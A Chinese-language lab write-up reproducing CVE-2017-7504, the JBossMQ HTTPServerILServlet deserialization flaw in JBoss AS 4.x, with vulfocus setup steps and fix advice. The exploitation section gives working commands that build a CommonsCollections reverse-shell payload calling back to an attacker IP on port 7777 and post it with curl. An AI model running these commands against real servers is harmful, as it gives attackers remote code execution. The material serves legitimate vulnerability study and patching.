JBoss 4.x JBossMQ JMS 反序列化漏洞CVE-2017-7504 已亲自复现
- 漏洞名称
- 影响版本
- 影响版本
- 漏洞复现
- 环境搭建
- 漏洞利用
- 修复建议
- 总结
漏洞名称
影响版本
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
影响版本
JBoss AS 4.x及之前版本
漏洞复现
环境搭建
受害者IP:192.168.63.129:38375
攻击者IP:192.168.63.1
vulfocus下载链接
https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git
下载测试工具, 下载地址
https://github.com/joaomatosf/JavaDeserH2HC
启动vulfocus
docker-compose up -d
环境启动后,访问http://192.168.63.129:38375即可看到一个jboss页面,说明已成功启动。
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中
漏洞利用
通过借助ysoserial的eCommonsCollections5利用链来复现。生成Payload,生成编译后的Java文件
ReverseShellCommonsCollectionsHashMap.class,生成ReverseShellCommonsCollectionsHashMap.ser文件,进行反弹shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.63.1:7777
在服务器监听端口7777,并执行命令成功反弹shell
curl http://192.168.63.129:38375/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
进入/tmp下面,查看flag
cd /tmp
修复建议
1、升级到JBOSS AS7。
2、临时解决方案:
(1)不需要 http-invoker.sar 组件的用户可直接删除此组件。
(2)添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。
总结
在请求体中使用ysoserial
的eCommonsCollections5
利用链生成payload进行反序列化,如果攻击成功,在响应头中返回的状态码为200,且在响应体中返回This is the JBossMQ HTTP-IL
字样。